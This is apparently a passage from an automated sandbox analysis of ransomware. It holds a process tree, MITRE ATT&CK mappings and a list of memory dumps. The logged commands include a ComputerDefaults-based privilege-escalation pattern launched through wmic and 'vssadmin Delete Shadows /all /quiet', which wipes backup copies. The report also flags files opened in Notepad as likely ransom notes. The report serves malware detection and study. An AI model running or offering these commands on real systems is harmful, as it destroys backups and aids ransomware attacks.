    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1720
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1156

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4184

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4168

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4200
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4272

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4324
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4372

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4400
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4452

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4484
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4532

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4564
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4672

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4612
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4980

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4640
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4968

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4664
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5024

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4716
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5004

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4780
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5092

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4816
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:440

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4868
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5072

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3996

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:3796

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4040

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:4160

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:604

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4348

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:5048

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3444

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:3824

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:4848

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3700
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Documents\RequestSplit.vsw
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4920

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2120
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Documents\RestartDisable.vst
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/952-203-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-215-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-192-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-191-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-190-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-189-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-237-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-239-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-188-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-187-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-185-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-184-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-183-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-236-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-235-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-240-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-234-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-233-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-232-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-231-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-225-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-224-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-223-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-219-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-218-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-243-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-195-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-249-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-217-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-238-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-213-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-212-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-210-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-209-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-244-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-206-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-205-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-204-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-193-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-202-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-200-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-199-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-247-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-197-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-248-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/952-196-0x00007FF9F3440000-0x00007FF9F34AB000-memory.dmp

Filesize
428KB

Download
memory/2636-130-0x0000024DFC2F0000-0x0000024DFC2F4000-memory.dmp

Filesize
16KB

Download
memory/3796-124-0x0000019548560000-0x0000019548561000-memory.dmp

Filesize
4KB

Download
memory/3796-125-0x0000019548570000-0x0000019548571000-memory.dmp

Filesize
4KB

Download
memory/3796-119-0x0000019546530000-0x0000019546531000-memory.dmp

Filesize
4KB

Download
memory/3796-120-0x00000195485D0000-0x00000195485D1000-memory.dmp

Filesize
4KB

Download
memory/3796-121-0x0000019546500000-0x0000019546501000-memory.dmp

Filesize
4KB

Download
memory/3796-122-0x0000019546510000-0x0000019546511000-memory.dmp

Filesize
4KB

Download
memory/3796-123-0x0000019546520000-0x0000019546521000-memory.dmp

Filesize
4KB

Download
memory/3796-126-0x0000019548580000-0x0000019548581000-memory.dmp

Filesize
4KB

Download
memory/3796-155-0x0000019548B70000-0x0000019548B71000-memory.dmp

Filesize
4KB

Download
memory/3796-127-0x00000195485B0000-0x00000195485B1000-memory.dmp

Filesize
4KB

Download
memory/3796-129-0x00000195485E0000-0x00000195485E1000-memory.dmp

Filesize
4KB

Download
memory/3796-128-0x00000195485C0000-0x00000195485C1000-memory.dmp

Filesize
4KB

Download
memory/3796-118-0x0000019546480000-0x0000019546486000-memory.dmp

Filesize
24KB

Download
memory/4976-275-0x00007FF9C0E20000-0x00007FF9C0E30000-memory.dmp

Filesize
64KB

Download